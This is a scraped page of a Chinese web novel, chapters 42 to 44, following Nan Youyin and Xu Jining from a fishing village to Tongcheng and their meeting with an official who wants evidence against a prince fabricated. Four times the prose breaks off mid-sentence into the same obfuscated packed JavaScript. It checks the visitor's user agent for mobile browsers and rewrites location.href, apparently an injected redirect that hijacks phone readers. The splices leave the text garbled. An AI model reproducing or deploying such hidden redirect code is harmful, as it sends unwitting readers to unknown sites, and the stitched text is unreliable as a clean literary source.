l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445801|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘,你瞧见北斗星旁边那颗很亮的星星了吗?” “那一颗吗?”南有音用手指着天空。 “不是。” 南有音换了一颗星星:“那这一颗?” 阮鸣鸥仍说不是。 然后他握住了南有音的手,牵着她的手指指向正确的方位,南有音的手背凉凉的,还有着未愈合的伤痕,他的手心干燥温热,臂膀在黑暗中的剪影看起来修长有力。 南有音没有说话,他们的手就这样交叠在一起,过了一会儿,才缓缓松开。 在松开手的一刹那,幽幽夜风吹入了两人手背与手掌的缝隙,阮鸣鸥曲了曲手指,似乎想要握住这道风,最后怅然若失。 阮鸣鸥开口道:“我们末南村的渔民管那颗星星叫飞鸥星,只有天气特别好的时候才能看见。” “南姑娘,”他轻声说道,“如果有一天你到了很远的地方,或者一个风景很好的地方,若是你想起了我,你只要看看那颗飞鸥星就好了。” 南有音说:“万一天气不好,我见不到呢。” 阮鸣鸥道:“那可能说明我在忙。” “忙些什么呢?” “我想想看,”阮鸣鸥扳着指头数道,“忙着出海捕鱼,忙着跟六妹一块织渔网,忙着从沙滩里挖海螺,还有最重要的,忙着从山崖底下捡人带到家里。” 听到最后一句南有音忍不住笑了,作势狠狠推了阮鸣鸥一把。 阮鸣鸥则顺势假装被她推得滚了一圈,坐起来思考着说道:“如果飞鸥星不亮的话,你又在海边,或许可以让海鸥给我捎信,我叫鸣鸥,总归和海鸥沾亲带故呢。” 说完他就和南有音一块笑了起来,笑声清清朗朗的,随着夜风在林中打转。 南有音笑了一阵子停下,她再往天上看时,却发现那颗飞鸥星被几缕云挡住了。 “要是能把那颗飞鸥星摘下来就好了,”她忍不住说道,“这样我就能时时看到它是不是亮着了。” “你想要把星星摘下来么?”阮鸣鸥在月色下冲着她笑,即便是在夜色中笑容仍显得灿烂如朝阳。 他对她轻声说道:“你回头看,漫天的星星已经落下了。” 南有音有些茫然地坐起来往身后看去,身后漆黑一片的树林中真的出现了星星点点的光芒,一颗又一颗的星星浮动在黑暗中,缓缓向她飞来。 “现在到时间啦,”阮鸣鸥微笑着,浮动的星光映在他的眼底,闪闪发光,他轻声道,“你看,这就是我要带你来看的。” 发光的光点越来越多,南有音看看满天的繁星,又看看四周的流萤,仿佛世界忽然下起了星星雨,她去扑那些点点星光,那些“小星星”在她接近时就骤然散开。 她抓星星抓得不亦乐乎,忽然有人拍了拍她的后背,她转过身,是阮鸣鸥,他拉起她的手,而后把一点星光放在她的手心,她怔怔看着,那点星光在她掌间歇息了片刻,又轻盈的盘旋飞起,她注视着那一点星光消失在星海之中,转眸便对上了阮鸣鸥的眼睛。 他的眼中好像散落着繁星,他对着她笑了,她也笑了笑,连带着心也颤了两下,然后她垂下眼眸,又转身去抓星星。 42. 铜城 那一夜他们在布满流萤的草丛嬉戏了很久,一直到阮家六妹困得不行才回去。 阮鸣鸥背着困到不想走路的六妹,南有音和徐寂宁分别走在他的两边,草木摩擦他们衣角的沙沙声与林中大大小小的虫鸣交相辉映,他们笑着谈着各种大大小小的奇闻异事,阮鸣鸥好几次故意扮鬼吓唬南有音,吓得南有音拽着徐寂宁的衣服躲在他后面咯咯直笑。 阮鸣鸥讲完一个关于殉情的爱人化为海上自由的飞鸟时他们走出了树林,望着月光下沉睡的渔村,徐寂宁忽然开口说他与南有音要离开。 他说非常感激阮鸣鸥的收留相助,又说考虑未来生计,终归不能久留。 南有音知道他在担心两人身份暴露,她也抓紧找了几条理由表示两人确实该走了。 阮鸣鸥对他们突然说要走有些措手不及,多次挽留无果,只好问道:“你们打算先去哪儿?” 徐寂宁道:“之前在铜城认识几个朋友,就先去那儿吧。” 阮鸣鸥想了想说明天村子里有渔户去铜城,他去说一声,叫人家顺路捎上他们。 就这样几句话后,一切都定下了分别的基调。 次日用完早餐,南有音与徐寂宁就与阮氏一家告别,阮母说什么也不收南有音执意要留下的一串铜板,阮大哥给两人好大一袋鱼干,阮家六妹揽着南有音的胳膊迟迟不愿松手,与阮鸣鸥一直将两人送到海岸边。 这些天南有音一直与阮家六妹同吃同住,二人之前都没有年纪相仿的朋友,一见面就很是亲切,夜间更是谈了好多女孩子们的心事,临别也愈发依依不舍。 直到临近登船,阮家六妹方才放开南有音,她从怀里掏出一只贝壳手串戴在南有音的手腕上,低低说了一声:“南姐姐,多多保重。” 这让南有音本就有点酸的鼻头更酸了,她摩挲着海螺手串,对着阮家六妹说到:“你也要保重,日后有缘,还会再见的。” 阮鸣鸥扶着徐寂宁登上船,听见了她的话,转过身来半是惆怅半是玩笑地开口道:“那我们呢,日后还会相见吧?” 南有音不想让离别显得太沉重,她故意轻快道:“说不定哪天你的海鸥朋友就会引着我重新来这儿呢。” “不过下一次相遇最好不是在小渔村啦,”阮鸣鸥望着无比广阔的海面,笑着说道,“最好再见面的时候我撑着船划过江水,你骑着马过桥,一抬眼恰好对上了。” 南有音也笑了,她说:“到时候记得提醒我请你喝酒。” 她扶着阮鸣鸥的臂膀,稳稳当当地跳上船,手指与手心离开那结实而燥热的臂膀时心中不自然的空了一拍,她垂下眼帘,等船驶出一段距离时才回首看向岸边。 而阮鸣鸥正望着她笑,见她回头,将两只手圈成喇叭状向着她喊道:“南姑娘,再见啦——” 他说“再见”,总盼着还会有再次相见。 南有音也把手圈起来做喇叭状,喊道:“谢谢你们,有缘再见——” 她的声音飘荡在海面上,有些七零八落,她不想承认她有点哽咽,只一昧的责怪海风,而后又希望飞来飞去的海鸥会将她的话语完整地传递到阮鸣鸥那里。 帆船慢吞吞的驶离末南村,南有音站在船尾,一直等到彻底看不到岸上的身影,才回到船舱。 “有音。”徐寂宁轻轻唤了一声有些失魂落魄地姑娘。 现在只剩下徐寂宁与南有音两个人了。 南有音看着眼前这个无比熟悉的面孔,自然而然的想到了徐府的高墙,想到了朝廷的任务,她恍惚间产生了一种恍如隔世的感觉,那几日海边落日夕阳,林间繁星流萤好像一场虚幻的梦,她把脸埋在两只手中,不愿去看现实,想让那些缥缈若梦的快乐感觉留存更久一些。 她不想戳破那个温馨无忧的肥皂泡,闷闷道:“徐寂宁,你先不要跟我说话。” 徐寂宁很体贴地沉默了,他注视着南有音,直到好久以后南有音一抬起头,就对上了他柔和的目光。 五天后,他们抵达了铜城县。 徐寂宁表示要做的第一件事就是先求见岭南巡抚薛停,他至少需要搞清楚皇帝派他来的目的以及他接下来该如何行动。 然而比较尴尬的一点是上次末山的一场火烧光了他们所有能够证明身份的东西,现下他们二人又是渔民打扮,被县衙的守卫毫不留情的赶走了。 南有音试图用临行前阮家大哥送他们的一袋鱼干贿赂,被嘲笑铜城近海,最不缺的就是鱼后灰溜溜的无功而返。 最后徐寂宁提出了守株待兔计划,他和南有音在县衙不远处的茶馆二楼坐下了,等着薛停什么时候出来就什么时候冲上去相认。 南有音抠抠搜搜地选了店里最便宜的大叶粗茶,她鱼干吃多了,口渴得厉害,连着喝了好几杯,没尝出着最便宜的茶便宜在哪里,反而觉得味道更苦更浓,喝到嘴里更有味道,忍不住道:“这茶真不错。” 徐寂宁谨慎地抿了一口,两条细眉毛立刻皱了起来,若不是南有音一杯接着一杯喝得过瘾,他真要怀疑南有音故意诓他尝这种一个柴火味的东西。 在末山颠沛了几日,徐寂宁的长进之一就是他现在能勉强咽下那些过去他觉得难以下咽、不得不吐出来的食物了,一来是他终于体会到没钱的滋味,在码头知道了原来天下还有许多百姓连那种糙米粗粮也吃不起,二来他不想让南有音不开心,每次南有音见他又咽不下什么东西,无奈之中多少带着些嫌弃。 徐寂宁忍着唇舌间那种劣质茶水的柴火味,喉结梗了梗,但还没彻底咽下去那口茶,就看到南有音又在发笑。 不等他发问,南有音就直接说道:“你这个样子好像在逼自己咽下一口痰。” “咳——” 那口茶在喉咙里走岔了路,呛得徐寂宁猛咳起来,南有音立刻去拍他的背,才拍两下徐寂宁就挣扎着逃跑了,扶着桌子一边喘气一边从咳嗽的间隙中挤出一句话:“我又不是蚊子,哪值得你用那么大的劲儿。” 南有音眨眨眼,讪讪道:“是么?我觉得我刚刚的力道要是拍蚊子,蚊子都会觉得我温柔。” 说罢,她又拿起桌上的茶壶往自己杯里倒茶,正打算一口闷了,却看到徐寂宁盯着她。 她还是喝了那杯茶,然后挑挑眉毛说道:“我又不至于像你一样,咽口茶水像咽口痰一样难。” 徐寂宁是不知道她开完那么恶心的玩笑之后怎么还能继续面不改色的喝那壶味道极差的茶,很是无奈:“有音,下次吃什么或者喝什么的时候别开这么恶心的玩笑了。” “这些道理我当然知道!”南有音从徐寂宁温和地语气里听到了一点说教的意味,这让她有些不耐烦。 自她被南氏夫妇从山村接到京城,她上得第一堂课就是学习各种规矩礼仪,几年下来她也勉强算得上大方得体了,一直学着当言行举止都有分寸的京城闺秀,本来倒也没什么,只是忽然在末南村住了几天,她跟着阮鸣鸥和阮家六妹一块肆无忌惮的插科打诨,似乎又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445802|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新回到幼时无拘无束也无遮无拦的乡村,又变回村里那个粗野的丫头。 她想到了与她肆意玩笑的阮鸣鸥,即便离别多天想起了仍然觉得心里发酸,她知道那是伤心与惆怅的感觉,但她总不想承认,毕竟她知道不出意外的话,她不会跟那个海边渔村的青年再有什么交集了,她的余生已经始终是徐府的少奶奶了,尽管她像不想承认自己的伤心一样不想承认这一点,但事实就摆在那里,随她怎么想都无济于事实。 她想她只是偶尔脱缰,一时找不回那种被束缚的感觉了。 “我知道你的意思,”南有音对着徐寂宁嘟囔道,“可是这里就咱们两个人呀,随便点又怎么啦,等回了徐府——” 她叹了口气,有点闷闷不乐:“我肯定规规矩矩的,就像被捆起来一样老实。” “被捆起来?”徐寂宁愣了一下,他的三姐徐静祺也说过这样的话。 徐静祺最讨厌徐府的规矩礼教,她说她在这个时代束手束脚,像是被捆住的,任人宰割的螃蟹。 徐寂宁不懂三姐的话,他说三姐的手脚没有被捆住,分明可以自由行动呀。 他还记得他说完后三姐先是义愤填膺地发表了一通长篇大论,其中诸如“压抑和泯灭人性”、“吃人的礼教”等字眼他是一个也没听懂,最后三姐眼神渐渐颓唐起来,她很是疲倦的对他说道:“寂宁,我说的那个‘自由’跟你说的不一样。” “那是什么样的?”他问道。 “我说不清楚的,寂宁,你不懂,”三姐摇摇头,她好像无比的寂寞,但她还是勉强笑了一下,“虽然你不懂得,但是未来有人会懂,你的后人会明白。” 徐静祺总所她是另一个世界的人,但徐寂宁始终无法想象出另一个世界的样子。 他努力试着从南有音的角度思考,想要理解他逝去的三姐,轻声问道:“有音,你觉得那是束缚吗?” “束缚?”南有音思考道,“倒也不至于那么严重吧,虽然有些规矩礼制繁琐多余,可有可无,但规矩自然有规矩的道理,在京城大家都很守规矩礼仪,说话温声细语,办事也都斯文体面,这也挺好的。” “只是我太顽劣了,总是想为所欲为。”南有音又轻快道,“不过还好啦,其实让我呆着哪里都一样,我都可以。” “真的都一样吗?”徐寂宁问道。 他自小在母亲的教导下循着各种规矩礼仪长大,除去过去三姐总是提起的那些,他很少会觉得有什么不对,他总觉得乡野村人缺少礼仪,但他发现在那个他觉得粗俗无礼、大家都很随便的村落里,南有音脸上的笑容似乎更多一些。 南有音回答道:“肯定不会完全一样啦,可能快乐多点少点的吧,不过我都能适应呀。” 徐寂宁想起他的三姐每年都会扳着指头数她“穿越”过来多少年了,然后叹气说她仍然无法适应“封建王朝”…… 一瞬间徐寂宁在想三姐口中的“自由”会不会在南有音笑得更为开怀的乡野之间,他想他是永远弄不清楚的,他只好将目光放到现世的人身上。 他轻声对南有音说道:“即便你能适应,但还是更希望你能快乐多点儿。” 南有音眼睛一亮,她非常开心地笑了,她叫道:“徐寂宁,你能说出这样的话真不错!不愧是我的朋友。” “朋友?” “对呀!目前你是我最好的朋友啦!” 南有音笑得很灿烂,但徐寂宁仍感觉到一点点来源不明的失落。 43. 翘首 南有音心情不错,于是嘴里冒出各种天花乱坠的语句赞美她的朋友徐寂宁,过于夸张的溢美之词让徐寂宁招架不住,听得他害羞脸红,找借口说茶壶空了他再去续一壶,匆匆逃了。 他磨蹭了一会儿,等到不再面红心跳了才重回座位,却发现南有音托着腮听说书听得津津有味,他见南有音听得入迷,就没说话,坐着跟她一起听了起来。 台上说书的讲得话本子叫什么殷巧娘二嫁宁少君,徐寂宁过去翻阅过无数话本子,只一听名字就能想到其中的俗套剧情,无非是不学无术的宁少君在殷巧娘和离后奋发图强中了状元,殷巧娘又后悔和离之类的,他颇感无聊,但听着听着,他发现故事的走向偏离了他的猜测。 高中状元的宁少君没有变成驸马,而是重新求娶在乡间当上面馆老板娘的殷巧娘,殷巧娘也没因为他是状元就轻易答应他,而是多番考验,观察宁少君是否真的已彻底改头换面,结尾更是让徐寂宁吃了一惊,中了状元的宁少君对那些议论商女出身的殷巧娘配不上他的人说道,他不觉得读书人就高人一等,也不觉得经商务农便是低贱之事,宁少君放弃仕途,与殷巧娘在乡下一起经营面馆,美满自在。 台上说书的讲完故事,台下的看客反应各异,纷纷议论起这个结尾新奇的故事,南有音也笑眯眯地问徐寂宁:“你觉得这个故事怎么样?” “不落俗套,”徐寂宁点评道,“我是很多年都没见过这样新颖的故事了,铜城这种小地方竟有这样好的话本子,倒让我很是惊讶呢。” 南有音又问:“那你喜欢这个故事吗?” “当然,若是咱们的钱够,我必要买一本这话本子的原稿带回京城。” 徐寂宁有些怀念地想起三姐在世时,他们两个总是收集各种新颖的话本子,只是后来他大病数年,加之痊愈后未再见过的话本子都是那些俗套的,他也就渐渐放下了这个少时爱好,唯独今日在铜城这个茶水奇差的茶馆里,他又找回了当初那种耳目一新的感觉。 他忍不住又夸了那出话本子几句,却看到南有音拼命抿着嘴憋笑,他疑惑道:“你现在又在笑什么?” “你猜——”南有音笑得上气不接下气。 徐寂宁耐心等她笑得没那么厉害了,才重新温和问道:“你又想起什么好玩的了?” “你猜猜这话本子结局是谁改的?” “我怎么会知道是谁?”徐寂宁觉得莫名其妙,而南有音的一双大眼睛一直注视着他,好像充满期待似的,忽然他灵光一闪,冒出一个不可思议的念头。 “结局该不会是你改的吧?”徐寂宁瞪大了眼睛,“之前在末山,你那次去酒馆回来说你把酒馆话本子改了,不会就是改的这本吧?” “答对啦!”南有音洋洋得意,“看来我改得很不错呢,才几日,就从末山传到了铜城。” 南有音得意了一阵子又忍不住可惜:“唉,当时酒馆的老板娘还送了我点心,要我有空再去她店里改话本子呢,我还一直想去呢,毕竟有好多话本子的结局需要改得痛快一点。” 南有音又喝了几口茶,台上说书的又开始讲起一个俗套的故事,南有音在心里盘算着这个故事应该改成什么样子,她眉飞色舞地说给徐寂宁听,徐寂宁听着她精妙绝伦的构思,觉得不写下来真是可惜,忍不住道:“有音,你为什么不试试自己写话本子呢?” “我?”南有音愣了一下,徐寂宁的话好像是在她耳边撞了一鼎钟,“噹”的一声,洪亮而幽远,震得她陡然一颤,脑海也忽然清明,她奇怪她怎么就没想到过自己写话本子。 她在钟声的余响中惊喜地喃喃自语道:“这可以吗?真的可以么?” “怎么不可以呢?”徐寂宁说道,“你写好了我就替你送到书坊,你想得故事新颖,说不定还能流行一方呢。” “听起来挺不错的!”南有音认真想了一下,决定试试,又充满期待地问道,“徐寂宁,如果我打算写话本子,你愿意当我的第一位读者吗?” 徐寂宁微微一笑:“何其荣幸。” 然后徐寂宁看着眼前地姑娘肉眼可见的情绪高涨,眼角眉梢都带着喜意,显然她在畅想她的大作为世人传唱呢。 南有音的口中又开始吐出徐寂宁听了会脸红的溢美之词,正当徐寂宁又想要溜走平复渐渐发烫的双颊时,南有音忽然扔下一句:“你说这件事我可以告诉太太吗?” “什么?”徐寂宁又被惊到了,“有音,你知道太太她一向古板,觉得话本子什么的都是些歪风邪气。” “我只是在想如果我的话本子真的能卖出去赚点钱,或者说能有一点人喜欢,那就说明我或许有点其他的价值,”南有音托着腮笑得很开心,“之前太太和母亲总是催我生孩子,我那时不知道自己还能做什么,差点也认同她们说得女人的价值就在生育了。” “徐寂宁,我发现当你的朋友真不错,”南有音继续说道,“也只有你能想出让我自己写话本子的主意,而且你之前就跟我说过女人的价值不只局限在生育。” 徐寂宁却道:“其实那些都是三姐教给我的,她在世时常把那些话挂在嘴边。” “三姐姐到底是什么样的人?”南有音好奇道。 她从徐太太口中听到的徐静祺是一个疯癫又叛逆的小女孩,在松梯口中,徐静祺又是温暖善良,体贴下人的三小姐,在徐缄平和徐默安口中,徐静祺则是一个脑子里充满奇思妙想的天真姑娘,在南有音自己眼里,徐静祺大概和她有着一样的爱好,她们肯定聊得来…… 南有音唯独不清楚徐寂宁心中地三姐是什么样子。 “三姐,她……”徐寂宁脑海中浮现出徐静祺滔滔不绝长篇大论的模样,浮现出她跪在祠堂眼角带着不甘与落寞的泪珠,浮现出他说等他长大带她走遍河山时她脸上无可奈何的苦笑。 “她……”徐寂宁被胸口一阵一阵的苦楚压得说不出口。 他想起他与三姐见的最后一面,那时他听松梯说三姐因为未婚夫□□栩有侍妾而哭了一夜,他带着点心去三姐院子里想要安慰她,他握着三姐的手,他说他喜欢三姐,他叫了她的名字“静祺”,他以为他明白三姐口中“平等自由的爱”,他说三姐不必嫁人,可以永远和他在一起,但三姐却惊恐地望着他,他搬出三姐常说的“反对封建”“思想解放”之类的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445803|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语句,三姐说不出话,却流下了两行眼泪。 那日之后没多久三姐就去修史馆当抄书的女官了,再之后…… 他听到了三姐去世的消息,二哥告诉他三姐是自己跳进湖里的。 他像大家一样不明白三姐为什么会自己跳进池塘,他总以为他与三姐关系最近,但最终他反过头来细想,他好像从来都没有明白三姐说得那些话语,他也始终无法想象三姐描述的另一个世界,他或许从来没有理解过三姐,三姐或许始终是孤零零的一个人…… 他实在不知道该如何跟南有音描述他的三姐,因为他自己也不清楚。 南有音的惊叫将他从杂乱的思绪中拉了出来,她拽着他的胳膊往窗边看,指着县衙门口叫到:“你看,有一个胖胖的老头,是不是薛大人?” 只听南有音的描述他就知道不是了。 南有音道:“你都没有看一眼就知道不是?” 他被南有音拉到围栏边,仔细瞧了那个胖胖的老头,无比确信道:“肯定不是,如果是薛大人,哪怕是你也能一眼认出来。” 南有音奇怪道:“可是我从来没见过薛大人。” 徐寂宁道:“你在京城这么多年难道没有听说过什么薛家的传闻吗?” “呃……说实话我只听过你们徐家的,”南有音的母亲在女儿嫁到徐府前多方打听,“比如太太非常的严苛,还有二哥那些神乎其神的传闻,呃,还有一点大哥的。” 徐寂宁道:“京城一直流传一句话,叫‘不见薛氏颜,不知美人面’。” 南有音困惑地眨眨眼睛:“呃,这是说薛家的姑娘都很漂亮?但这跟薛大人有什么关系?” “非也,非也,”徐寂宁摇头,“你见过薛家大公子薛驰光吧?” 南有音对薛驰光印象无比地深刻,不只是因为第一次见面时他与大嫂十指相扣,还因为他相貌实在烨然,浑身上下那种英姿与神气属实难以让人忘怀。 “所以薛驰光是所谓的美人面?”南有音确实同意这个说法。 徐寂宁纠正道:“不止薛驰光,整个薛氏都是。” 南有音慢慢明白过来,有些惊恐道:“所以薛停这种跟咱们爹一个年纪的老头子也是美人面?” 她是想象不出半百老头还能帅气到哪里去,她想到了她爹南晨颂,两眼周围的皱纹像是刀刻的,两颊的肉像是挂不住了一样松松垮垮的,她又想到了徐老爷徐朗,她记得徐老爷早年身形高大,如今却渐渐佝偻,两眼像是枯了的井,沉沉无生气。 她甚至还想象了一下徐寂宁和南玉振年过半百地模样,在大夏天里忍不住打了个寒战。 她强行打住自己的念头,把目光继续投向县衙门口,但人来人往,始终不见薛停的踪迹,一直到傍晚,橙色云霞笼罩着铜城,南有音打着哈欠再一次看向县衙,这次她在门口看到了两个人,正对着的那个人在作揖,背对着的则在回礼。 南有音忍不住把视线落到了那个背影上,只一个背影就莫名把她吸走了,非常挺拔匀称,显然不同常人的优越比例。 徐寂宁也只看了一眼背影,便立刻断言道:“是薛大人。” 44. 迷惘 南有音与徐寂宁拦住了薛停即将绝尘的马车,报上自己的姓名求见薛大人。 马车的车帘掀开,先是一双骨节分明的手,而后穿着官服的薛停走了出来,他似乎迟疑了一阵子才分辨出眼前这个黑瘦的渔夫确实是徐府的小少爷徐寂宁。 但南有音在见到薛停正脸的瞬间就明白了京城那些关于薛氏皆是“美人面”的传闻。她不得不承认年逾半百的薛停仍然称得上玉树临风,虽然她自己都觉得这样形容一个半百老头有点滑稽,但事实确实如此。 薛停有着高挺的眉骨和鼻梁,再搭配上一双四射寒星的眼睛,让人自然而然忽视了他花白的头发与因衰老而深陷的眼窝,他身姿挺拔颀长,气度森严肃穆,站在那里不怒自威,像极了一把冷酷的薄刃。 就连他说话的声音也好像没有情绪一样沉静疏离。 “贤侄怎把自己弄成这副模样了?”薛停一边问一边请徐寂宁与南有音坐上了他的马车。 在抵达薛停落脚的驿站时徐寂宁也讲述完了这几日的遭遇,又询问起皇帝旨意的意思。 薛停抬手示意两人噤声,先安排人带南有音去房间休息,又示意侍从全部撤下去,而后起身检查关紧门窗后才小声说道:“寂宁,我此前寄出的信你收到没有?” 徐寂宁答道:“收到了,正是多亏其中夹层,我与有音才反应出永安王的追杀,得以保全性命。” 薛停道:“你一直未曾回信,我还以为你也同其余几人一样已经遭遇不测了。” “其余几人?”徐寂宁猛地反应过来,“皇上不止派了我暗中来岭南?” 薛停没有回答徐寂宁的问题,而是问道:“你在末山那几日有发现什么异样吗?” 徐寂宁道:“除了被永安王府的人追杀外不曾发现任何异样。” 薛停说道:“除了你之外,皇帝前后还派了十一人前来岭南,这十一人同你一样,抵达目的地后都与我联络,到目前为止,只剩八人还与我保持通信,算上你,还剩九个。你是在眉洲府末山县的遭遇追杀的,其余三个断了音讯的也都在眉洲府沿海城县的。” 徐寂宁心下一惊,联系此前薛停信中所写到的清查永安王谋逆之事,顿觉得自己与另外十一时人分明如同诱饵一般被散在岭南,其余州府的人无事,唯独眉洲府沿海的诸人遇难,便说明永安王在这眉洲府沿海区域藏着什么见不得的秘密。 他一想到他与南有音得以逃出生天纯属侥幸,登时吓出一身冷汗,当即道:“薛大人,属下愚钝,实在想不明白皇上派我们暗中来岭南究竟为何?” 薛停仍没有回答,而是用淡漠的声音继续问道:“末山确无异样,但你那几日可有听到什么其他消息?” 徐寂宁想到了流落末南村时从阮氏一家人口中得到的消息,便说了末南那个小渔村对于朝廷度田和重编人口的不满。 薛停点点头,似是早就知道这一点,而后满不在乎地说道:“这点倒是无关紧要。” “无关紧要?”徐寂宁一脸难以置信,“末南村虽小,但村民说的也都是赋税问题的切肤痛处,况且整个岭南应该有不少同他们一样想法的百姓,朝廷理应——” 薛停抬起一只手压住了徐寂宁的话头,他盯着徐寂宁,确实很像一柄薄刃,周遭散发出泠泠寒光,强势地压人一头,语气又慢又漠然:“寂宁,皇上的目的在于永安王,关于永安王你有听说过什么吗?” “呃……”徐寂宁犹犹豫豫,说了阮鸣鸥对这位王爷的赞美,薛停面上表情毫无波动,示意他继续说。 “还有,他说在一个海岛上藏着永安王的宝藏,他二哥就负责海岛的运输,”徐寂宁沉吟片刻,“若按我读的地方志,我猜那个岛屿应该是鲁蝶岛。” 薛停似乎来了兴致:“藏着永安王的宝藏?” “对,但究竟是什么东西还不清楚。” 薛停冷冷道:“是兵甲。” “大人难道去过那岛?” “不曾。” 薛停的两句自相矛盾的话将徐寂宁搞迷糊了,他反应不过来,几乎以为薛停是在开一个蹩脚玩笑,他勉强笑道:“私藏兵甲是谋逆的大罪,大人不曾去过鲁蝶岛,怎能得出这种结论……” 薛停反问徐寂宁:“寂宁,我在予你的那封信里是怎么说的,皇帝派你来是为了?” 徐寂宁答道:“收集永安王谋逆的证据。” “皇帝为什么要证据?” “呃,因为要定罪……”徐寂宁隐约觉得不对起来。 他骤然意识到一直以来都是先有证据方可定罪,而非先扣罪名再搜罗或者罗织实证,皇帝若是断定永安王谋逆,那手中必然有十足的把柄和证据,何须再派他以及其余十一人再收集刺探些什么…… 他看向薛停,疑惑道:“皇帝是不是只是疑心永安王有谋逆之心?” “正是,故而才会派你前来搜查证据,务必证实永安王确有不臣之举。” 徐寂宁不解道:“若没有证据,又该如何证实?” “不需要证据。” 徐寂宁又被薛停这些话惊得愣住了:“薛大人,您说什么?” 薛停似薄刃一般凉薄地缓缓道:“这便是你的用处,即便没有证据,你也要能找到证据,故而鲁蝶岛上的宝藏,不管是什么,都是兵甲。” 徐寂宁仍然讶然不知所措。 薛停语气缓和了一点,如长辈般道:“寂宁,你这般天真,倒不像是官宦世家的孩子。” “可是……”徐寂宁还想分辨一番,“若是永安王没有任何不臣之心,这岂不是——” 徐寂宁将“栽赃陷害”一词咽了下去,换了一个指责意味没有那么强的:“岂不是冤枉无辜……” 薛停淡漠地劝诫道:“这是皇上的意思,我们做臣子的,不需要分辨,只需要执行。” 徐寂宁立刻又道:“可若是圣上有误,臣子理应犯颜直谏。” 薛停眉毛轻微地挑了一下,他用一种全新的目光审视着徐寂宁,似乎对眼前这个热忱青年微微笑了一下。 他起身打开房门,已然送客之意:“时间不早了,我已吩咐人安置房间,早些休息吧。” 徐寂宁抵达住处时南有音已经等候多时了,她已经洗漱完,换下那身渔民打扮的衣服,重新穿上绸缎衣服,披散着头发无所事事的吃着桌上的瓜果。 “你终于回来啦?”南有音把徐寂宁按在桌前,让他尝了尝桌上的茶。 “上好的峨眉雪。”徐寂宁道。 “这茶好吗?” “自然,千金难买。” 南有音开心道:“这么看来薛大人真够大方的。” 她把薛停派人送来的东西都摆在桌上,两小盒茶叶,几身绸缎衣服,充足的银两。 徐寂宁坐在桌前抿着茶,仍对刚刚与薛停的谈话耿耿于怀,两道细细的眉毛拧在一起,像是要结成一个疙瘩。 “你想什么呢?”南有音在他的对面坐下,“薛大人同你说了些什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445804|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐寂宁略一犹豫,随即全盘托出,南有音听完后两只大眼睛也浮现出诧异的神情。 “薛大人的意思是,不管永安王是否有不臣之心,都要给他安上谋逆的罪名,倘若你们这些派来岭南的十二个人没有找到证据,就要自己制造证据?”南有音半晌反应过来,说道,“徐寂宁,咱们的皇帝怎么会是这样的人?授意做臣子的人颠倒黑白搬弄是非?” 徐寂宁叫南有音不要乱说,但他不得不承认南有音说得跟他心里想得一样。 他皱着眉头,学着自己混迹官场多年的父亲徐朗和大哥徐缄平的方式思考,缓缓道:“永安王占据岭南,封地广博,自先帝起就已然形成气势,如今皇帝想要动手,也确实无可厚非,只是……” 只是徐寂宁自己产生了一种被利用的奇怪感觉,他当然晓得忠君为民是理所应当,但他读过的圣贤书里只说过高风亮节,不曾说过宛如一摊淤泥、你死我活的权谋之争。 “万一永安王是被冤枉的怎么办?”南有音提出了一个很天真但又很可笑的问题。 徐寂宁也考虑过这个问题,但答案是无解,永安王是否被冤枉并不重要,重要的是朝廷可以通过这种方法使得岭南被牢牢掌控在皇帝手中。 “那岂不是成了滥杀无辜了?”南有音又道,“况且咱们从鸣鸥哥那里也听说了,似乎这位永安王对待百姓还不错,听着倒也不像什么十恶不赦的坏人。” 徐寂宁也陷入困惑了,冤杀百姓是滥杀无辜,那宫廷斗争权力斗争中牺牲的王孙子弟是否也是被滥杀的无辜呢? 倘若永安王被冠以莫须有的谋逆罪名被皇帝诛杀,砍下一个王爷的脑袋究竟是促成了地方权力集中达成一片四海升平的景象,还是滥杀一条无辜人命呢?即便是为了四海升平的目的,他们是否有资格掠夺一个人的性命呢,不论那人是百姓还是王爷,似乎都是一条人命。 他与南有音两相对望,皆是迷茫困惑。 第二天他与南有音又换上了那身渔民行头,融入百姓之中,上街有意打听了几句永安王,他们提到阮鸣鸥所说的铜城海啸后王爷赈灾,却发现事实远比阮鸣鸥说得还要夸张,铜城人无一不感念爱戴永安王,那种感激真切无比,有甚者忆起往事仍泣啼泫然。 夜晚徐寂宁与南有音相对而坐时又默然了。 